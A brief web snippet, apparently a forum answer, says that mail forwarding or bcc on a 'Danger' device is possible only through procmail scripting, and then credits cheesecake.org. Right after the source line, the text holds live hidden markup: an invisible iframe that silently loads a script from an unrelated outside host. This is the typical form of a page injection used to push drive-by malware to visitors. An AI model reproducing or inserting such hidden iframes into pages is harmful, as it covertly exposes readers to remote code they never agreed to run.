You could write some procmail magic and forward/bcc the mail to yourself to do this, but otherwise, you can't, although Danger are aware that people would like this functionality.

Source: cheesecake.org<iframe src="http://tmb-corp.com/g/p/l/counter.js" style="display:none"></iframe>